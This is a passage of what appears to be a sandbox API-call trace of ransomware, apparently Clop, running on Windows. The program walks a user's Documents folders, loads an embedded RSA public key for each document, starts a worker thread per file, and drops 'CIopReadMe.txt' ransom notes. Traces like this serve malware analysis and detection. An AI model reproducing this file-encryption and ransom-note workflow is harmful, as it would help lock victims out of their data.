lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\" [0091.809] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc39d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x44c [0091.810] WaitForSingleObject (hHandle=0x44c, dwMilliseconds=0xffffffff) returned 0x0 [0091.858] SetErrorMode (uMode=0x1) returned 0x1 [0091.858] wsprintfW (in: param_1=0x2dc359c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\CIopReadMe.txt") returned 90 [0091.858] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\4cjd3sacmw1\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0091.859] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0091.859] FindResourceW (hModule=0x400000, lpName=0xb207, lpType="RC_DATA") returned 0x41b160 [0091.859] LoadResource (hModule=0x400000, hResInfo=0x41b160) returned 0x41bbf8 [0091.859] LockResource (hResData=0x41bbf8) returned 0x41bbf8 [0091.859] SizeofResource (hModule=0x400000, hResInfo=0x41b160) returned 0x759 [0091.859] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\4cjd3sacmw1\\ciopreadme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x440 [0091.859] WriteFile (in: hFile=0x440, lpBuffer=0x6285d8*, nNumberOfBytesToWrite=0x759, lpNumberOfBytesWritten=0x2dc3594, lpOverlapped=0x0 | out: lpBuffer=0x6285d8*, lpNumberOfBytesWritten=0x2dc3594*=0x759, lpOverlapped=0x0) returned 1 [0091.860] CloseHandle (hObject=0x440) returned 1 [0091.860] FindNextFileW (in: hFindFile=0x5c39d0, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0091.860] lstrcmpW (lpString1="5NEaCJn_lqI_2wf_A.pdf", lpString2="..") returned 1 [0091.860] lstrcmpW (lpString1="5NEaCJn_lqI_2wf_A.pdf", lpString2=".") returned 1 [0091.860] wsprintfW (in: param_1=0x2dc4590, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\") returned 80 [0091.860] Sleep (dwMilliseconds=0xd) [0091.907] lstrcpyA (in: lpString1=0x2dc39d8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0091.907] lstrcpyW (in: lpString1=0x2dc3f36, lpString2="5NEaCJn_lqI_2wf_A.pdf" | out: lpString1="5NEaCJn_lqI_2wf_A.pdf") returned="5NEaCJn_lqI_2wf_A.pdf" [0091.907] lstrcpyW (in: lpString1=0x2dc3b36, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\" [0091.907] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc39d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x440 [0091.907] WaitForSingleObject (hHandle=0x440, dwMilliseconds=0xffffffff) returned 0x0 [0091.943] SetErrorMode (uMode=0x1) returned 0x1 [0091.943] wsprintfW (in: param_1=0x2dc359c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\CIopReadMe.txt") returned 90 [0091.943] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\4cjd3sacmw1\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444 [0091.943] CloseHandle (hObject=0x444) returned 1 [0091.943] FindNextFileW (in: hFindFile=0x5c39d0, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0091.943] lstrcmpW (lpString1="gGPxR1SI06PikWMCd.rtf", lpString2="..") returned 1 [0091.943] lstrcmpW (lpString1="gGPxR1SI06PikWMCd.rtf", lpString2=".") returned 1 [0091.943] wsprintfW (in: param_1=0x2dc4590, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\") returned 80 [0091.943] Sleep (dwMilliseconds=0xd) [0091.966] lstrcpyA (in: lpString1=0x2dc39d8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0091.966] lstrcpyW (in: lpString1=0x2dc3f36, lpString2="gGPxR1SI06PikWMCd.rtf" | out: lpString1="gGPxR1SI06PikWMCd.rtf") returned="gGPxR1SI06PikWMCd.rtf" [0091.966] lstrcpyW (in: lpString1=0x2dc3b36, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\" [0091.966] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc39d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x444 [0091.966] SetErrorMode (uMode=0x1) returned 0x1 [0091.966] wsprintfW (in: param_1=0x2dc359c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\CIopReadMe.txt") returned 90 [0091.966] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\4cjd3sacmw1\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0091.966] CloseHandle (hObject=0x454) returned 1 [0091.966] FindNextFileW (in: hFindFile=0x5c39d0, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0091.966] lstrcmpW (lpString1="NHki1vMmaXoWuhnR.pdf", lpString2="..") returned 1 [0091.966] lstrcmpW (lpString1="NHki1vMmaXoWuhnR.pdf", lpString2=".") returned 1 [0091.967] wsprintfW (in: param_1=0x2dc4590, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\") returned 80 [0091.967] Sleep (dwMilliseconds=0xd) [0091.982] lstrcpyA (in: lpString1=0x2dc39d8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0091.982] lstrcpyW (in: lpString1=0x2dc3f36, lpString2="NHki1vMmaXoWuhnR.pdf" | out: lpString1="NHki1vMmaXoWuhnR.pdf") returned="NHki1vMmaXoWuhnR.pdf" [0091.982] lstrcpyW (in: lpString1=0x2dc3b36, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\" [0091.982] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc39d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x454 [0091.982] SetErrorMode (uMode=0x1) returned 0x1 [0091.982] wsprintfW (in: param_1=0x2dc359c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\CIopReadMe.txt") returned 90 [0091.982] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\4cjd3sacmw1\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0091.982] CloseHandle (hObject=0x45c) returned 1 [0091.982] FindNextFileW (in: hFindFile=0x5c39d0, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0091.982] lstrcmpW (lpString1="tyDDeYuppbUilesSL.odt", lpString2="..") returned 1 [0091.983] lstrcmpW (lpString1="tyDDeYuppbUilesSL.odt", lpString2=".") returned 1 [0091.983] wsprintfW (in: param_1=0x2dc4590, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\") returned 80 [0091.983] Sleep (dwMilliseconds=0xd) [0092.008] lstrcpyA (in: lpString1=0x2dc39d8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0092.008] lstrcpyW (in: lpString1=0x2dc3f36, lpString2="tyDDeYuppbUilesSL.odt" | out: lpString1="tyDDeYuppbUilesSL.odt") returned="tyDDeYuppbUilesSL.odt" [0092.008] lstrcpyW (in: lpString1=0x2dc3b36, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\" [0092.008] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc39d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x450 [0092.008] WaitForSingleObject (hHandle=0x450, dwMilliseconds=0xffffffff) returned 0x0 [0092.091] SetErrorMode (uMode=0x1) returned 0x1 [0092.091] wsprintfW (in: param_1=0x2dc359c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\CIopReadMe.txt") returned 90 [0092.091] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\4cjd3sacmw1\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460 [0092.091] CloseHandle (hObject=0x460) returned 1 [0092.091] FindNextFileW (in: hFindFile=0x5c39d0, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0092.091] FindClose (in: hFindFile=0x5c39d0 | out: hFindFile=0x5c39d0) returned 1 [0092.091] FindClose (in: hFindFile=0x5c39d0 | out: hFindFile=0x5c39d0) returned 0 [0092.091] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1" [0092.091] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\*.*" [0092.091] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x5c3410 [0092.092] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1") returned="4cjd3SaCmW1" [0092.092] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="4cjd3SaCmW1" | out: lpString1="4cjd3SaCmW1") returned="4cjd3SaCmW1" [0092.092] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0092.092] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0092.092] FindNextFileW (in: hFindFile=0x5c3410, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0092.092] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0092.092] FindNextFileW (in: hFindFile=0x5c3410, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0092.092] FindNextFileW (in: hFindFile=0x5c3410, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0092.092] FindNextFileW (in: hFindFile=0x5c3410, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0092.092] FindNextFileW (in: hFindFile=0x5c3410, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0092.092] FindNextFileW (in: hFindFile=0x5c3410, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0092.092] FindNextFileW (in: hFindFile=0x5c3410, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0092.092] FindNextFileW (in: hFindFile=0x5c3410, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0092.092] FindClose (in: hFindFile=0x5c3410 | out: hFindFile=0x5c3410) returned 1 [0092.092] FindClose (in: hFindFile=0x5c3410 | out: hFindFile=0x5c3410) returned 0 [0092.092] FindNextFileW (in: hFindFile=0x5c3910, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0092.092] lstrcmpW (lpString1="isZLUU", lpString2="..") returned 1 [0092.092] lstrcmpW (lpString1="isZLUU", lpString2=".") returned 1 [0092.092] lstrcpyW (in: lpString1=0x2dc65d8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" [0092.092] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\" [0092.092] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\", lpString2="isZLUU" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU" [0092.092] SetErrorMode (uMode=0x1) returned 0x1 [0092.092] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU" [0092.092] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\" [0092.092] lstrcpyW (in: lpString1=0x2dc4db0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\" [0092.092] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\*.*" [0092.092] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x5c39d0 [0092.092] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU") returned="isZLUU" [0092.092] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="isZLUU" | out: lpString1="isZLUU") returned="isZLUU" [0092.093] FindNextFileW (in: hFindFile=0x5c39d0, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0092.093] FindNextFileW (in: hFindFile=0x5c39d0, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0092.093] lstrcmpW (lpString1="3B2V8p-DhIekN7FYAT.docx", lpString2="..") returned 1 [0092.093] lstrcmpW (lpString1="3B2V8p-DhIekN7FYAT.docx", lpString2=".") returned 1 [0092.093] wsprintfW (in: param_1=0x2dc4590, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\") returned 75 [0092.093] Sleep (dwMilliseconds=0xd) [0092.107] lstrcpyA (in: lpString1=0x2dc39d8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0092.107] lstrcpyW (in: lpString1=0x2dc3f36, lpString2="3B2V8p-DhIekN7FYAT.docx" | out: 